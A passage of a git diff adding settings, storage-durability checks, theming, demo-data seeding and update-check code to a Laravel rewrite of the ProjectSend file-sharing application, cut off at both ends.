CheckForUpdates above, which is Community-only); + // gated on the view_news permission, not a capability. Each item's + // `content` is HTML-Purified at fetch time (see FetchNewsCommand), so + // it's already safe to render — unlike LatestReleaseNotes above, this + // one legitimately needs inline HTML (links to the full changelog). + case NewsItems = 'news_items'; + case NewsLastFetchedAt = 'news_last_fetched_at'; + + // CAPTCHA on public forms (v1 parity: captcha_method). Which service + // is active — 'none' or a CaptchaProvider value — and, on cloud only, + // whether the platform's own keys are used ('managed') or this + // installation's ('own'). The credentials themselves are not here: + // this store has no encrypted type, so they live in captcha_providers. + case CaptchaProvider = 'captcha_provider'; + case CaptchaKeySource = 'captcha_key_source'; + + // Which forms actually ask for a token. Separate switches because an + // installation that takes no self-registrations, or does not want a + // challenge in front of its own staff login, should be able to say so + // without turning the whole feature off. + case CaptchaOnLogin = 'captcha_on_login'; + case CaptchaOnRegistration = 'captcha_on_registration'; + case CaptchaOnPasswordReset = 'captcha_on_password_reset'; + case CaptchaOnPublicComments = 'captcha_on_public_comments'; + + public function type(): SettingType + { + return match ($this) { + self::SiteName, + self::ClientsCanSelectGroup, + self::TwoFactorEnforcement, + self::UploadTypeRestriction, + self::DownloadIpLogging, + self::CommentsScope, + self::CommentsAuthors, + self::PublicListingSlug, + self::DefaultLocale, + self::Timezone, + self::Theme, + self::EmailTheme, + self::LatestKnownVersion, + self::LatestVersionCheckedAt, + self::LatestReleaseTitle, + self::LatestReleaseNotes, + self::LatestReleaseUrl, + self::LatestReleasePublishedAt, + self::NewsLastFetchedAt, + self::CaptchaProvider, + self::CaptchaKeySource, + self::AccountErasureContentAction => SettingType::String, + + self::ClientsCanRegister, + self::ClientsAutoApprove, + self::EmailNotificationsEnabled, + self::DiscourageSearchIndexing, + self::PublicListingEnabled, + self::CheckForUpdates, + self::ExpiredFilesAutoDeleteEnabled, + self::PublicCommentsEnabled, + self::CommentsGuestModeration, + self::OrphanFilesAutoDeleteEnabled, + self::CaptchaOnLogin, + self::CaptchaOnRegistration, + self::CaptchaOnPasswordReset, + self::CaptchaOnPublicComments, + self::PasswordRejectBreached => SettingType::Boolean, + + self::ClientsAutoGroup, + self::ClientsMembershipDenyCooldownDays, + self::MaxFileSizeMb, + self::DefaultClientStorageQuotaMb, + self::AccountErasureGraceDays, + self::AccountErasureReassignTo, + self::ApiRequestLogRetentionDays, + self::ExpiredFilesDeleteAfterDays, + self::CommentsEditWindowMinutes, + self::OrphanFilesDeleteAfterDays, + self::PasswordMinLength => SettingType::Integer, + + self::AdminNotificationEmails, + self::AllowedUploadExtensions, + self::EnabledLocales, + self::NewsItems => SettingType::Json, + }; + } + + // Widen this union as settings with new types are added — PHPStan + // enforces that it matches what the cases actually return. + /** + * @return string|bool|int|list|list + */ + public function default(): string|bool|int|array + { + return match ($this) { + self::SiteName => 'ProjectSend', + self::TwoFactorEnforcement => 'none', + // 12 rather than Laravel's 8: this was the value security audit + // finding 14 settled on, and the setting exists so an + // installation can move it, not so an upgrade can lower it. + self::PasswordMinLength => 12, + self::PasswordRejectBreached => true, + self::ClientsCanSelectGroup => 'none', + self::CaptchaProvider => 'none', + // Inert without Capability::CaptchaManagedKeys, so this is the + // default only in the edition where it means anything. A cloud + // tenant is protected from the first request rather than after + // finding the screen. + self::CaptchaKeySource => 'managed', + + self::ClientsCanRegister, + self::ClientsAutoApprove, + self::EmailNotificationsEnabled, + self::DiscourageSearchIndexing, + self::PublicListingEnabled, + self::ExpiredFilesAutoDeleteEnabled, + self::PublicCommentsEnabled, + self::OrphanFilesAutoDeleteEnabled => false, + + self::CheckForUpdates, + self::CommentsGuestModeration, + // On by default, but only ever consulted once a provider is + // configured — so a fresh install is not protecting forms it + // has no keys for. + self::CaptchaOnLogin, + self::CaptchaOnRegistration, + self::CaptchaOnPasswordReset, + self::CaptchaOnPublicComments => true, + + self::ClientsAutoGroup => 0, + self::ClientsMembershipDenyCooldownDays => 30, + self::MaxFileSizeMb => 2048, + self::DefaultClientStorageQuotaMb => 0, + self::AccountErasureGraceDays => 30, + self::AccountErasureReassignTo => 0, + self::ApiRequestLogRetentionDays => 30, + self::ExpiredFilesDeleteAfterDays => 30, + self::OrphanFilesDeleteAfterDays => 30, + self::CommentsEditWindowMinutes => 15, + + self::AdminNotificationEmails => [], + + // English only out of the box: a fresh install offering + // sixteen languages nobody asked for is noise, and an + // operator who wants more turns them on deliberately. + self::EnabledLocales => ['en'], + + self::UploadTypeRestriction => 'all', + self::DownloadIpLogging => 'all', + // Erasure removes a person's data, so deleting the files they + // uploaded is the sensible zero-config default; reassign is opt-in + // and needs a fallback account chosen. + self::AccountErasureContentAction => 'cascade_delete', + // Commenting is on for every file out of the box, but only + // between people who are logged in: reaching the public + // requires PublicCommentsEnabled, which is off by default. + self::CommentsScope => 'all', + self::CommentsAuthors => 'staff_and_clients', + self::PublicListingSlug => 'public', + self::DefaultLocale => '', + self::Timezone => '', + self::Theme => 'default', + self::EmailTheme => 'default', + self::LatestKnownVersion => '', + self::LatestVersionCheckedAt => '', + self::LatestReleaseTitle => '', + self::LatestReleaseNotes => '', + self::LatestReleaseUrl => '', + self::LatestReleasePublishedAt => '', + self::NewsLastFetchedAt => '', + + self::NewsItems => [], + + // Documents, images, audio, video, archives. Deliberately + // excludes server-executable extensions (php, cgi, …) and + // browser-renderable-with-script types (htm, html, svg) — + // FileThumbnailController::preview() serves files inline + // using the stored mime type, so an allowed .html/.svg + // would execute script in the previewer's browser. + self::AllowedUploadExtensions => [ + 'pdf', 'doc', 'docx', 'docm', 'dot', 'dotx', 'rtf', 'txt', 'csv', 'odt', 'ott', + 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'odp', + 'xls', 'xlsx', 'xlsm', 'xltx', 'ods', + 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tif', 'tiff', 'webp', 'heic', 'psd', 'ai', 'eps', + 'mp3', 'wav', 'ogg', 'm4a', 'flac', 'aac', + 'mp4', 'mov', 'avi', 'mpg', 'mpeg', 'webm', 'mkv', 'wmv', + 'zip', 'rar', '7z', 'tar', 'gz', 'tgz', 'bz2', 'xz', 'iso', + ], + }; + } +} diff --git a/app/Modules/Platform/Settings/SettingType.php b/app/Modules/Platform/Settings/SettingType.php new file mode 100644 index 00000000..ff9045fd --- /dev/null +++ b/app/Modules/Platform/Settings/SettingType.php @@ -0,0 +1,13 @@ +|null + */ + private ?array $overrides = null; + + /** + * @return string|bool|int|array|null + */ + public function get(Setting $setting): string|bool|int|array|null + { + $overrides = $this->overrides(); + + if (! array_key_exists($setting->value, $overrides)) { + return $setting->default(); + } + + return $this->cast($setting, $overrides[$setting->value]); + } + + /** + * @param string|bool|int|array|null $value + */ + public function set(Setting $setting, string|bool|int|array|null $value): void + { + StoredSetting::query()->updateOrCreate( + ['key' => $setting->value], + ['value' => $this->cast($setting, $value)], + ); + + $this->flush(); + } + + public function flush(): void + { + $this->overrides = null; + + Cache::forget(self::CACHE_KEY); + } + + /** + * @return array + */ + private function overrides(): array + { + return $this->overrides ??= Cache::rememberForever( + self::CACHE_KEY, + fn (): array => StoredSetting::query()->pluck('value', 'key')->all(), + ); + } + + /** + * @return string|bool|int|array|null + */ + private function cast(Setting $setting, mixed $value): string|bool|int|array|null + { + if ($value === null) { + return null; + } + + return match ($setting->type()) { + SettingType::String => is_scalar($value) + ? (string) $value + : throw new InvalidArgumentException("Setting [{$setting->value}] expects a string."), + SettingType::Boolean => (bool) $value, + SettingType::Integer => is_numeric($value) + ? (int) $value + : throw new InvalidArgumentException("Setting [{$setting->value}] expects an integer."), + SettingType::Json => is_array($value) + ? $value + : throw new InvalidArgumentException("Setting [{$setting->value}] expects an array."), + }; + } +} diff --git a/app/Modules/Platform/Settings/StoredSetting.php b/app/Modules/Platform/Settings/StoredSetting.php new file mode 100644 index 00000000..3f1aa817 --- /dev/null +++ b/app/Modules/Platform/Settings/StoredSetting.php @@ -0,0 +1,24 @@ + 'json', + ]; + } +} diff --git a/app/Modules/Platform/Storage/StorageDurability.php b/app/Modules/Platform/Storage/StorageDurability.php new file mode 100644 index 00000000..ae481d15 --- /dev/null +++ b/app/Modules/Platform/Storage/StorageDurability.php @@ -0,0 +1,185 @@ + Ephemeral. Recreating the container destroys the files. + * - the mount's source is under /docker/volumes//_data + * => DockerVolume. Survives upgrades and `docker compose down`, but + * lives inside Docker: `down -v`, `docker volume prune`, or losing + * the Docker installation takes it, and it is easy to leave out of + * a backup because it is nowhere the operator chose. + * - anything else (a bind mount from the host) + * => Durable. The files are on a path outside Docker's control. + * + * The database deliberately gets no equivalent check. It runs in its own + * container, in its own mount namespace, so this process cannot see its + * mounts — and the only way to change that is to hand the Docker socket to + * PHP, which would turn any vulnerability in this application into root on + * the host. DOCKER.md covers that half for a human instead. + */ +class StorageDurability +{ + public function __construct( + private readonly ExternalStorageConfigApplier $externalStorage, + private readonly Installation $installation, + ) {} + + /** + * Null when the question does not apply: not running in a container + * (a plain server's disk layout is the operator's own business, and + * nothing here would be news), or uploads no longer go to the local + * disk at all because external object storage is switched on. + * + * @return array{level: string, volume: string|null, source: string|null}|null + */ + public function inspect(): ?array + { + if (! $this->inContainer() || $this->externalStorage->isActive()) { + return null; + } + + $mount = $this->mountFor($this->existingAncestorOf(storage_path('app/files'))); + + if ($mount === null) { + return ['level' => StorageDurabilityLevel::Unknown->value, 'volume' => null, 'source' => null]; + } + + [$mountPoint, $source] = $mount; + + if ($mountPoint === '/') { + return ['level' => StorageDurabilityLevel::Ephemeral->value, 'volume' => null, 'source' => null]; + } + + if (preg_match('#(?:^|/)docker/volumes/([^/]+)/_data#', $source, $matches) === 1) { + return [ + 'level' => StorageDurabilityLevel::DockerVolume->value, + 'volume' => $matches[1], + 'source' => null, + ]; + } + + return [ + 'level' => StorageDurabilityLevel::Durable->value, + 'volume' => null, + // Shown as a hint, never as an authoritative host path: the + // source is relative to the source filesystem's own root, so a + // host /home/x/app bind-mounted from a separate /home partition + // reads as "/x/app" here. + 'source' => $source, + ]; + } + + /** + * Protected rather than private so a test can say "pretend we are in a + * container" without a container. Same for readMountInfo() below: those + * two are the only things this class learns from outside itself. + */ + protected function inContainer(): bool + { + // Delegated rather than duplicated: "are we in a container" is now + // asked in two unrelated places (here, and to decide which upgrade + // instructions to print), and two copies of that check would drift. + return $this->installation->kind() === InstallationKind::Container; + } + + /** + * @return list|null + */ + protected function readMountInfo(): ?array + { + $lines = @file('/proc/self/mountinfo', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); + + return $lines === false ? null : $lines; + } + + /** + * The path itself if it exists, otherwise its nearest existing parent — + * the uploads directory is created on first write, and a brand-new + * installation should still get an answer. + */ + private function existingAncestorOf(string $path): string + { + while ($path !== '/' && ! is_dir($path)) { + $path = dirname($path); + } + + return $path; + } + + /** + * The mount whose mount point is the longest prefix of $path. + * + * @return array{0: string, 1: string}|null [mount point, source root] + */ + private function mountFor(string $path): ?array + { + $lines = $this->readMountInfo(); + + if ($lines === null) { + return null; + } + + $best = null; + + foreach ($lines as $line) { + $fields = explode(' ', trim($line)); + + // 3 = root of the mount within its source filesystem, + // 4 = mount point. Both are octal-escaped for spaces and tabs. + if (! isset($fields[3], $fields[4])) { + continue; + } + + $source = $this->unescape($fields[3]); + $mountPoint = $this->unescape($fields[4]); + + $isPrefix = $mountPoint === '/' + || $path === $mountPoint + || str_starts_with($path, rtrim($mountPoint, '/').'/'); + + if (! $isPrefix) { + continue; + } + + // >= rather than >: later entries win ties, and mountinfo is + // ordered so that a mount stacked over an earlier one at the + // same point comes later. Without this, a bind mount placed + // over the container root would be reported as the root. + if ($best === null || strlen($mountPoint) >= strlen($best[0])) { + $best = [$mountPoint, $source]; + } + } + + return $best; + } + + private function unescape(string $value): string + { + return str_replace(['\040', '\011', '\012', '\134'], [' ', "\t", "\n", '\\'], $value); + } +} diff --git a/app/Modules/Platform/Storage/StorageDurabilityLevel.php b/app/Modules/Platform/Storage/StorageDurabilityLevel.php new file mode 100644 index 00000000..fdfe653d --- /dev/null +++ b/app/Modules/Platform/Storage/StorageDurabilityLevel.php @@ -0,0 +1,24 @@ + (string) config('projectsend.version'), + 'edition' => $this->capabilities->edition()->value, + 'php' => PHP_VERSION, + 'laravel' => app()->version(), + 'database' => $this->database(), + ]; + } + + private function database(): string + { + try { + $version = (string) (DB::selectOne('select version() as v')->v ?? ''); + } catch (\Throwable) { + $version = ''; + } + + return trim(DB::connection()->getDriverName().' '.$version); + } +} diff --git a/app/Modules/Platform/Theming/Console/GenerateThemePreviewDataCommand.php b/app/Modules/Platform/Theming/Console/GenerateThemePreviewDataCommand.php new file mode 100644 index 00000000..09fb7207 --- /dev/null +++ b/app/Modules/Platform/Theming/Console/GenerateThemePreviewDataCommand.php @@ -0,0 +1,482 @@ + + */ + private const PHOTOS = [ + 'Harbor View' => 77, + 'Pier At Dusk' => 100, + 'Glacier Edge' => 79, + 'Redwood Grove' => 81, + 'Coastal Path' => 10, + 'Meadow Light' => 93, + 'Volcanic Ridge' => 66, + 'Northern Reach' => 67, + 'Prairie Fields' => 85, + 'Canyon Road' => 118, + 'River Bend' => 11, + 'Highland Pass' => 121, + 'Sunset Fields' => 110, + 'Rolling Hills' => 62, + 'Misty Avenue' => 70, + 'Forest Line' => 83, + 'Old Town' => 61, + 'Harbour Bridge' => 84, + 'Wheat Field' => 107, + 'Palm Coast' => 108, + 'Reed Beds' => 112, + 'Cypress Hills' => 116, + 'City Reflections' => 122, + 'Bay Skyline' => 74, + 'Winter Oak' => 95, + 'Open Grassland' => 98, + 'Railway Cut' => 69, + 'Autumn Trail' => 103, + ]; + + public function handle(): int + { + if (app()->environment('production') && ! $this->option('force')) { + $this->error('Refusing to create demo data in production without --force.'); + + return self::FAILURE; + } + + // Defaults to the account's own email rather than a fresh random + // string: this is a throwaway demo client on a dev install, and a + // rerun that silently changed the password meant every screenshot or + // browser check afterwards had to be handed the new one. + $password = $this->option('password') ?? self::EMAIL; + + $clientRoleId = Role::query()->where('name', SystemRole::Client->value)->value('id'); + + $client = User::query()->updateOrCreate( + ['email' => self::EMAIL], + [ + 'type' => UserType::Client, + 'name' => 'Theme Preview Client', + 'role_id' => $clientRoleId, + 'password' => $password, + 'active' => true, + 'email_verified_at' => now(), + ], + ); + + $groups = collect([ + 'Marketing Team' => true, + 'Product Design' => true, + 'Executive Reports' => false, + ])->map(function (bool $isMember, string $name) use ($client): Group { + $group = Group::query()->firstOrCreate(['name' => $name], ['description' => "Demo group: {$name}"]); + if ($isMember) { + $group->members()->syncWithoutDetaching([$client->id => ['created_at' => now(), 'updated_at' => now()]]); + } + + return $group; + }); + + $folders = app(FolderService::class); + $brandKit = Folder::query()->where('name', 'Brand Kit')->whereNull('parent_id')->first() + ?? tap($folders->create('Brand Kit', null), fn (Folder $f) => $f->forceFill(['created_by' => $client->id])->save()); + + FolderAssignment::query()->firstOrCreate([ + 'folder_id' => $brandKit->id, + 'assignable_type' => (new User)->getMorphClass(), + 'assignable_id' => $client->id, + ]); + + $categories = collect(['Marketing', 'Finance', 'Design']) + ->map(fn (string $name): Category => Category::query()->firstOrCreate(['name' => $name])); + + $disk = Storage::disk('files'); + + $wanted = max(1, (int) $this->option('photos')); + $images = array_slice(self::PHOTOS, 0, min($wanted, count(self::PHOTOS)), true); + + if ($wanted > count(self::PHOTOS)) { + $this->warn(sprintf( + 'Only %d photographs are curated, so that is how many you get. Add more to PHOTOS.', + count(self::PHOTOS), + )); + } + + $documents = ['Q3 Report', 'Contract Draft', 'Brand Guidelines', 'Invoice 1042']; + + $i = 0; + $drawn = 0; + $bar = $this->output->createProgressBar(count($images)); + $bar->start(); + + foreach ($images as $name => $photoId) { + $category = $categories[$i % $categories->count()]; + assert($category instanceof Category); + + $relativePath = $this->pathFor($name, 'jpg'); + $bytes = $this->photoBytes($disk, $relativePath, $photoId); + + if ($bytes === null) { + // One placeholder is better than one missing file, but it is + // still the thing this command exists to avoid, so it is + // counted and reported rather than passed over quietly. + $bytes = $this->generatePng($name, [90 + ($i * 37) % 140, 110 + ($i * 61) % 120, 140 + ($i * 23) % 100]); + $drawn++; + } + + $this->upsertDemoFile( + client: $client, + name: $name, + originalName: Str::slug($name).'.jpg', + mimeType: 'image/jpeg', + bytes: $bytes, + disk: $disk, + folderId: $i % 4 === 0 ? $brandKit->id : null, + category: $category, + ); + $i++; + $bar->advance(); + } + + $bar->finish(); + $this->newLine(); + + foreach ($documents as $name) { + $category = $categories[$i % $categories->count()]; + assert($category instanceof Category); + + $this->upsertDemoFile( + client: $client, + name: $name, + originalName: Str::slug($name).'.pdf', + mimeType: 'application/pdf', + bytes: "%PDF-1.4\n% Demo placeholder for theme preview screenshots, not a real PDF.\n", + disk: $disk, + folderId: null, + category: $category, + ); + $i++; + } + + $this->pruneStaleDemoFiles($disk, array_merge( + array_map(fn (string $n): string => $this->pathFor($n, 'jpg'), array_keys($images)), + array_map(fn (string $n): string => $this->pathFor($n, 'pdf'), $documents), + )); + + $detached = $this->hideUnreadableFiles($disk, $client, $brandKit); + + $this->info('Demo client ready for theme screenshots:'); + $this->line(' Email: '.self::EMAIL); + $this->line(' Password: '.$password); + $this->line(' Groups: '.$groups->keys()->implode(', ')); + $this->line(' Files: '.(count($images) + count($documents)).' (in "Brand Kit" folder + loose)'); + $this->line(' Photos: '.(count($images) - $drawn).' real, '.$drawn.' drawn'); + + if ($detached > 0) { + $this->line(' Hidden: '.$detached.' file(s) whose bytes are missing (left in place, just not shown here)'); + } + + if ($drawn > 0) { + // Loud, because the screenshots will still be produced and will + // still look plausible at a glance — a drawn rectangle only + // announces itself once it is on the settings page of every + // installation. + $this->warn(sprintf( + '%d photograph(s) could not be downloaded, so placeholders were drawn instead. ' + .'Do not commit screenshots taken from these — rerun with a working connection.', + $drawn, + )); + + return self::FAILURE; + } + + return self::SUCCESS; + } + + private function upsertDemoFile( + User $client, + string $name, + string $originalName, + string $mimeType, + string $bytes, + Filesystem $disk, + ?int $folderId, + Category $category, + ): void { + $relativePath = $this->pathFor($name, pathinfo($originalName, PATHINFO_EXTENSION)); + $disk->put($relativePath, $bytes); + + $file = File::query()->updateOrCreate( + ['path' => $relativePath], + [ + 'uploaded_by' => $client->id, + 'folder_id' => $folderId, + 'name' => $name, + 'original_name' => $originalName, + 'mime_type' => $mimeType, + 'size' => strlen($bytes), + 'checksum' => hash('sha256', $bytes), + 'description' => null, + 'public' => false, + ], + ); + + // Thumbnails are cached per file id, and this command is the only + // thing in the application that replaces a file's bytes underneath + // an existing row. Without this the cache keeps serving the picture + // that used to be there — which produced a screenshot showing a + // portrait of a stranger under the name "Highland Pass". + foreach (ThumbnailGenerator::pathsFor($file->id, $mimeType) as $cached) { + $disk->delete($cached); + } + + $file->categories()->syncWithoutDetaching([$category->id]); + + if ($folderId === null) { + FileAssignment::query()->firstOrCreate([ + 'file_id' => $file->id, + 'assignable_type' => (new User)->getMorphClass(), + 'assignable_id' => $client->id, + ]); + } + } + + /** + * Take anything the demo client cannot actually render out of its view. + * + * A file row whose bytes have gone missing is invisible to every check + * except the one that matters: it renders as a broken-image icon, and a + * screenshot full of those looks plausible enough in a terminal to get + * committed. This happened — 22 of the 52 files this account could see + * had lost their bytes, and the capture before this check existed + * looked fine only because the good ones happened to sort first. + * + * Unassigned rather than deleted. These rows are not this command's to + * destroy: they may be shared with other accounts, and something that + * silently deletes files is a much worse thing to have in a codebase + * than a demo library with a gap in it. + */ + private function hideUnreadableFiles(Filesystem $disk, User $client, Folder $brandKit): int + { + $visible = File::query() + ->where('disk', 'files') + ->where(function ($query) use ($client, $brandKit): void { + $query->where('folder_id', $brandKit->id) + ->orWhereIn('id', FileAssignment::query() + ->where('assignable_type', (new User)->getMorphClass()) + ->where('assignable_id', $client->id) + ->select('file_id')); + }) + ->get(); + + $detached = 0; + + foreach ($visible as $file) { + if ($disk->exists($file->path)) { + continue; + } + + FileAssignment::query() + ->where('file_id', $file->id) + ->where('assignable_type', (new User)->getMorphClass()) + ->where('assignable_id', $client->id) + ->delete(); + + if ($file->folder_id === $brandKit->id) { + $file->forceFill(['folder_id' => null])->save(); + } + + $detached++; + } + + return $detached; + } + + /** + * Drop demo files this run no longer wants. + * + * Renaming an entry in PHOTOS otherwise leaves the old one behind + * forever, and the library slowly fills with things nobody chose — + * which is the same failure as leaving broken files in it, just + * slower. Scoped to the demo prefix, so nothing an operator uploaded + * themselves is ever touched. + * + * @param list $keep + */ + private function pruneStaleDemoFiles(Filesystem $disk, array $keep): void + { + $stale = File::query() + ->where('path', 'like', 'theme-preview-demo/%') + ->whereNotIn('path', $keep) + ->get(); + + foreach ($stale as $file) { + $disk->delete($file->path); + $file->categories()->detach(); + FileAssignment::query()->where('file_id', $file->id)->delete(); + $file->forceDelete(); + } + + if ($stale->isNotEmpty()) { + $this->line(' Pruned: '.$stale->count().' demo file(s) this run no longer wants'); + } + } + + private function pathFor(string $name, string $extension): string + { + return 'theme-preview-demo/'.Str::slug($name).'.'.$extension; + } + + /** + * A real photograph for this name, or null if one could not be had. + * + * Keeps what is already on disk unless asked to refresh, so a rerun + * costs nothing and the committed preview PNGs do not churn. The + * readability check is the part that matters: a truncated or + * half-written file is worse than an absent one, because it survives + * every "does the file exist" test and only fails later, in the + * thumbnail generator, as `Could not read image dimensions`. + */ + private function photoBytes(Filesystem $disk, string $relativePath, int $photoId): ?string + { + if (! $this->option('refresh-photos') && $disk->exists($relativePath)) { + $existing = (string) $disk->get($relativePath); + + if (@getimagesizefromstring($existing) !== false) { + return $existing; + } + } + + if ($this->option('offline')) { + return null; + } + + $url = sprintf(self::PHOTO_URL, $photoId); + + // Twice, because a single flaky response should not put a drawn + // rectangle into a screenshot that ships. + foreach ([1, 2] as $attempt) { + try { + $response = Http::timeout(20)->connectTimeout(10)->get($url); + + if ($response->successful()) { + $bytes = $response->body(); + + if (@getimagesizefromstring($bytes) !== false) { + return $bytes; + } + } + } catch (Throwable) { + // Falls through to the next attempt, then to the placeholder. + } + } + + return null; + } + + /** + * A drawn stand-in, used only when a real photograph could not be + * fetched. JPEG rather than PNG so it matches the extension and mime + * type its neighbours carry — a `.jpg` holding PNG bytes passes an + * existence check and then fails thumbnail generation. + * + * @param array{0: int, 1: int, 2: int} $rgb + */ + private function generatePng(string $label, array $rgb): string + { + [$r, $g, $b] = $rgb; + $r = max(0, min(255, $r)); + $g = max(0, min(255, $g)); + $b = max(0, min(255, $b)); + + $image = imagecreatetruecolor(640, 480); + + $background = imagecolorallocate($image, $r, $g, $b); + assert($background !== false); + imagefilledrectangle($image, 0, 0, 640, 480, $background); + + $white = imagecolorallocate($image, 255, 255, 255); + assert($white !== false); + imagestring($image, 5, 20, 20, $label, $white); + + ob_start(); + imagejpeg($image, null, 90); + $bytes = (string) ob_get_clean(); + imagedestroy($image); + + return $bytes; + } +} diff --git a/app/Modules/Platform/Theming/EmailPreviewRenderer.php b/app/Modules/Platform/Theming/EmailPreviewRenderer.php new file mode 100644 index 00000000..fdd3a9c4 --- /dev/null +++ b/app/Modules/Platform/Theming/EmailPreviewRenderer.php @@ -0,0 +1,35 @@ +themes->get($themeKey)?->context; + + View::share('mail_theme', $themeKey); + View::share('mail_theme_context', $context === null ? [] : $context()); + + return (string) $message->theme($themeKey)->render(); + } +} diff --git a/app/Modules/Platform/Theming/EmailThemeRegistry.php b/app/Modules/Platform/Theming/EmailThemeRegistry.php new file mode 100644 index 00000000..dd032801 --- /dev/null +++ b/app/Modules/Platform/Theming/EmailThemeRegistry.php @@ -0,0 +1,12 @@ +settings->get(Setting::EmailTheme); + + return $this->themes->resolve(is_string($value) ? $value : 'default', $this->capabilities); + } +} diff --git a/app/Modules/Platform/Theming/PublicThemeRegistry.php b/app/Modules/Platform/Theming/PublicThemeRegistry.php new file mode 100644 index 00000000..60214955 --- /dev/null +++ b/app/Modules/Platform/Theming/PublicThemeRegistry.php @@ -0,0 +1,12 @@ +)|null $context + */ + public function __construct( + public readonly string $key, + public readonly string $label, + public readonly string $description, + public readonly ?string $requires = null, + public readonly ?Closure $context = null, + ) {} +} diff --git a/app/Modules/Platform/Theming/ThemeRegistry.php b/app/Modules/Platform/Theming/ThemeRegistry.php new file mode 100644 index 00000000..b70b4b35 --- /dev/null +++ b/app/Modules/Platform/Theming/ThemeRegistry.php @@ -0,0 +1,102 @@ + + */ + private array $themes = []; + + /** + * @param (Closure(): array)|null $context + */ + public function register(string $key, string $label, string $description, ?string $requires = null, ?Closure $context = null): void + { + $this->themes[$key] = new ThemeDefinition($key, $label, $description, $requires, $context); + } + + /** + * Themes selectable/renderable in the current edition. The only real + * enforcement point for gated themes — a theme requiring a capability + * the current edition lacks simply never appears here. + * + * "default" always sorts first, regardless of registration order — + * which provider boots first (core vs. the premium package) must + * never decide this, so it's enforced here rather than left to + * insertion order. + * + * @return list + */ + public function available(CapabilityRegistry $capabilities): array + { + $themes = array_values(array_filter( + $this->themes, + fn (ThemeDefinition $theme): bool => $theme->requires === null + || $capabilities->has(Capability::from($theme->requires)), + )); + + usort($themes, fn (ThemeDefinition $a, ThemeDefinition $b): int => ($b->key === 'default') <=> ($a->key === 'default')); + + return $themes; + } + + /** + * The key to actually render: the stored value if it's a real, + * currently-available theme, else the safe "default" fallback — a + * downgraded tenant or a self-hosted install without a premium + * package must never see a broken page. + */ + public function resolve(string $key, CapabilityRegistry $capabilities): string + { + foreach ($this->available($capabilities) as $theme) { + if ($theme->key === $key) { + return $key; + } + } + + return 'default'; + } + + public function has(string $key): bool + { + return isset($this->themes[$key]); + } + + public function get(string $key): ?ThemeDefinition + { + return $this->themes[$key] ?? null; + } +} diff --git a/app/Modules/Platform/Updates/Console/CheckForUpdatesCommand.php b/app/Modules/Platform/Updates/Console/CheckForUpdatesCommand.php new file mode 100644 index 00000000..df5383a3 --- /dev/null +++ b/app/Modules/Platform/Updates/Console/CheckForUpdatesCommand.php @@ -0,0 +1,108 @@ +capabilities->has(Capability::SystemUpdates)) { + $this->info('Update checks are not available on this edition.'); + + return self::SUCCESS; + } + + if ($this->settings->get(Setting::CheckForUpdates) !== true) { + $this->info('Update checks are disabled.'); + + return self::SUCCESS; + } + + $response = Http::withHeaders(['User-Agent' => 'ProjectSend']) + ->timeout(10) + ->get('https://api.github.com/repos/projectsend/projectsend/releases/latest'); + + if (! $response->successful()) { + $this->warn('Could not reach the update feed.'); + + return self::FAILURE; + } + + $tag = (string) ($response->json('tag_name') ?? ''); + $latestVersion = ltrim($tag, 'v'); + + // The public repo's tags are still v1's r-number scheme (r2029, + // not SemVer) until a real Community v2 release ships there — + // skip rather than misreport an "update" against a tag we can't + // meaningfully compare. + if (! preg_match('/^\d+\.\d+\.\d+/', $latestVersion)) { + $this->info("Latest release tag ({$tag}) is not a recognized version — skipping."); + + return self::SUCCESS; + } + + $currentVersion = (string) config('projectsend.version'); + $previouslyKnownVersion = $this->settings->get(Setting::LatestKnownVersion); + + $this->settings->set(Setting::LatestKnownVersion, $latestVersion); + $this->settings->set(Setting::LatestVersionCheckedAt, now()->toIso8601String()); + $this->settings->set(Setting::LatestReleaseTitle, (string) ($response->json('name') ?? $tag)); + $this->settings->set(Setting::LatestReleaseNotes, (string) ($response->json('body') ?? '')); + $this->settings->set(Setting::LatestReleaseUrl, (string) ($response->json('html_url') ?? '')); + $this->settings->set(Setting::LatestReleasePublishedAt, (string) ($response->json('published_at') ?? '')); + + $updateAvailable = version_compare($latestVersion, $currentVersion, '>'); + $alreadyKnown = $previouslyKnownVersion === $latestVersion; + + if ($updateAvailable && ! $alreadyKnown) { + $recipients = array_values(User::query()->where('type', UserType::Staff)->get() + ->filter(fn (User $staff): bool => $this->permissions->allows($staff, Permission::ManageUpdates)) + ->all()); + + $this->notifier->send('update_available', $recipients, data: [ + 'latestVersion' => $latestVersion, + 'currentVersion' => $currentVersion, + ]); + } + + $this->info("Latest version: {$latestVersion} (current: {$currentVersion})."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Platform/Updates/LatestReleaseInfo.php b/app/Modules/Platform/Updates/LatestReleaseInfo.php new file mode 100644 index 00000000..61b2c9bc --- /dev/null +++ b/app/Modules/Platform/Updates/LatestReleaseInfo.php @@ -0,0 +1,57 @@ +capabilities->has(Capability::SystemUpdates)) { + return null; + } + + $latestVersion = $this->string(Setting::LatestKnownVersion); + + if ($latestVersion === '' || ! version_compare($latestVersion, (string) config('projectsend.version'), '>')) { + return null; + } + + return [ + 'version' => $latestVersion, + 'title' => $this->string(Setting::LatestReleaseTitle), + 'notes' => $this->string(Setting::LatestReleaseNotes), + 'url' => $this->string(Setting::LatestReleaseUrl), + 'published_at' => $this->string(Setting::LatestReleasePublishedAt), + ]; + } + + private function string(Setting $setting): string + { + $value = $this->settings->get($setting); + + return is_string($value) ? $value : ''; + } +} diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php new file mode 100644 index 00000000..f23e76c5 --- /dev/null +++ b/app/Providers/AppServiceProvider.php @@ -0,0 +1,34 @@ + $this->app->make(PasswordPolicy::class)->rule()); + } +} diff --git a/app/Support/ConcatenatedPagination.php b/app/Support/ConcatenatedPagination.php new file mode 100644 index 00000000..31cdf336 --- /dev/null +++ b/app/Support/ConcatenatedPagination.php @@ -0,0 +1,59 @@ +> $sequences ordered name => query builder; order = fill priority + * @param array $paginatorOptions passed straight to LengthAwarePaginator (path/query) + * @return array{items: array>, paginator: LengthAwarePaginatorContract} + */ + public static function slice(array $sequences, int $page, int $perPage, array $paginatorOptions = []): array + { + $totals = []; + foreach ($sequences as $key => $query) { + $totals[$key] = $query->count(); + } + $totalItems = array_sum($totals); + + $remainingOffset = ($page - 1) * $perPage; + $remainingLimit = $perPage; + $items = []; + + foreach ($sequences as $key => $query) { + $total = $totals[$key]; + + if ($remainingLimit <= 0 